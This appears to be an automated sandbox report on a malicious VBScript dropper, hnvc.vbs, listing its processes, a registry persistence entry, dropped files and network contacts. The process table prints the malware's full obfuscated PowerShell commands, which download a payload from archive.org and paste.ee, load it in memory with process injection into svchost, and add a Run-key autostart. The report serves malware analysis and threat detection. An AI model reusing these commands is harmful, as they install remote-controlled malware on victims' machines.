| File name: | hnvc.vbs |
| Full analysis: | https://app.any.run/tasks/1c890afa-3ebe-49f7-af4a-214bf033f1fa |
| Verdict: | Malicious activity |
| Analysis date: | September 25, 2024, 13:42:29 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-16, little-endian text, with CRLF line terminators |
| MD5: | 1C468CB1DDACCD43BED8FDAEE3C83128 |
| SHA1: | AB581D3C6E8A2134FDAA5A88FE8638294DE97FA8 |
| SHA256: | BD33077B081C8B65E10488D40A46DB863D21AFA331B68F74F332DBB8A4219370 |
| SSDEEP: | 12288:mIQpXYYN1wQKkiMKm3mRCHpxaz5dHXp7RInJQtEt+ok4mjklNBgvuGt/RDxKZ9K9:XER2UA8ouxQ |
| .txt | | | Text - UTF-16 (LE) encoded (49.9) |
|---|---|---|
| .bas | | | Nevada BASIC tokenized source (25) |
| .mp3 | | | MP3 audio (24.9) |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 644 | "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\hvnc.vbs" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4492 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6120 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6372 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6464 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6468 | "C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\hnvc.vbs | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
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| (PID) Process: | (6464) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Path |
Value: C:\ProgramData\hvnc.vbs | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6372 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5xum1jdf.h0f.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6464 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4uksqgmm.puz.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6372 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_forfbnlf.wga.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6464 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:3AA1AED09FBE086DC924B3FD30DEAD47 | SHA256:2DAA55699FDD5AE0DA664A5038B2E0DB6D9C05378B2D876D09700C57039A16DC | |||
| 6464 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vqauovvq.0fy.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 644 | cmd.exe | C:\ProgramData\hvnc.vbs | text | |
MD5:1C468CB1DDACCD43BED8FDAEE3C83128 | SHA256:BD33077B081C8B65E10488D40A46DB863D21AFA331B68F74F332DBB8A4219370 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1020 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2636 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
1020 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
5816 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
3888 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
— | — | 52.167.249.196:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
6464 | powershell.exe | 207.241.227.240:443 | ia600100.us.archive.org | INTERNET-ARCHIVE | US | whitelisted |
2636 | svchost.exe | 20.190.159.75:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2636 | svchost.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
5816 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
ia600100.us.archive.org |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
paste.ee |
| shared |
nexusrules.officeapps.live.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
— | — | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
— | — | Potential Corporate Privacy Violation | ET POLICY Pastebin-style Service (paste .ee) in TLS SNI |